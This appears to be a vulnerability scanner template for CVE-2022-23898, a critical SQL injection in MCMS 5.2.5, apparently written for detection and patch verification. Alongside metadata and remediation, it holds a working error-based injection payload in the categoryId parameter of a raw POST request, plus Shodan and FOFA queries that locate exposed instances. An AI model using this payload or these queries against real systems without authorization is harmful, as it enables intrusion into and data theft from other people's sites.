MCMS 5.2.5 - SQL Injection

id: CVE-2022-23898

info:
  name: MCMS 5.2.5 - SQL Injection
  author: Co5mos
  severity: critical
  description: |
    MCMS 5.2.5 contains a SQL injection vulnerability via the categoryId parameter in the file IContentDao.xml. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in MCMS 5.2.5.
  reference:
    - https://github.com/ming-soft/MCMS/issues/62
    - https://github.com/advisories/GHSA-p94q-9q2m-pfh2
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23898
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23898
    cwe-id: CWE-89
    epss-score: 0.07734
    epss-percentile: 0.94671
    cpe: cpe:2.3:a:mingsoft:mcms:5.2.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mingsoft
    product: mcms
    shodan-query:
      - http.favicon.hash:1464851260
      - http.favicon.hash:"1464851260"
    fofa-query: icon_hash="1464851260"
  tags: cve,cve2022,sqli,mcms,mingsoft,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /cms/content/list HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        categoryId=1' and updatexml(1,concat(0x7e,md5({{num}}),0x7e),1) and 'zzz'='zzz

    matchers:
      - type: word
        part: body
        words:
          - 'c8c605999f3d8352d7bb792cf3fdb25'